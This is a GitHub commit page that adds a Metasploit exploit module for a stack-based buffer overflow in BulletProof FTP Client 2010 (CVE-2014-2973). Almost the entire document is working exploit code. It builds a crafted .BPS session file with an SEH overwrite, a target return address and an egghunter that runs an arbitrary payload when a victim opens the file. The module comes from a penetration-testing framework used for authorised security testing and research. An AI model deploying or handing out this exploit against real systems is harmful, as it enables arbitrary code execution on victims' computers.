Skip to content

Commit f2710f6

Browse files
committed
Land rapid7#4443, BulletProof FTP client exploit
2 parents 46aa165 + 482cfb8 commit f2710f6

File tree

1 file changed

+91
-0
lines changed

1 file changed

+91
-0
lines changed
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::FILEFORMAT
12+
include Msf::Exploit::Remote::Seh
13+
include Msf::Exploit::Remote::Egghunter
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'BulletProof FTP Client BPS Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a stack-based buffer overflow vulnerability in
20+
BulletProof FTP Client 2010, caused by an overly long hostname.
21+
By persuading the victim to open a specially-crafted .BPS file, a
22+
remote attacker could execute arbitrary code on the system or cause
23+
the application to crash. This module has been tested successfully on
24+
Windows XP SP3.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Gabor Seljan'
30+
],
31+
'References' =>
32+
[
33+
[ 'EDB', '34162' ],
34+
[ 'EDB', '34540' ],
35+
[ 'EDB', '35449' ],
36+
[ 'OSVDB', '109547' ],
37+
[ 'CVE', '2014-2973' ],
38+
],
39+
'DefaultOptions' =>
40+
{
41+
'ExitFunction' => 'process'
42+
},
43+
'Platform' => 'win',
44+
'Payload' =>
45+
{
46+
'BadChars' => "\x00\x0a\x0d\x1a",
47+
'Space' => 2000
48+
},
49+
'Targets' =>
50+
[
51+
[ 'Windows XP SP3',
52+
{
53+
'Offset' => 89,
54+
'Ret' => 0x74c86a98 # POP EDI # POP ESI # RET [oleacc.dll]
55+
}
56+
]
57+
],
58+
'Privileged' => false,
59+
'DisclosureDate' => 'Jul 24 2014',
60+
'DefaultTarget' => 0
61+
))
62+
63+
register_options(
64+
[
65+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.bps'])
66+
],
67+
self.class)
68+
end
69+
70+
def exploit
71+
eggoptions = {
72+
:checksum => true,
73+
:eggtag => 'w00t'
74+
}
75+
76+
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
77+
78+
sploit = "This is a BulletProof FTP Client Session-File and should not be modified directly.\r\n"
79+
sploit << rand_text_alpha(target['Offset'])
80+
sploit << generate_seh_record(target.ret)
81+
sploit << hunter + "\r\n" # FTP Server HOST / IP
82+
sploit << rand_text_numeric(5) + "\r\n" # Port number
83+
sploit << egg + "\r\n" # Login name
84+
sploit << rand_text_alpha(8) + "\r\n" # Login password
85+
86+
# Create the file
87+
print_status("Creating '#{datastore['FILENAME']}' file...")
88+
file_create(sploit)
89+
end
90+
91+
end

0 commit comments

Comments
 (0)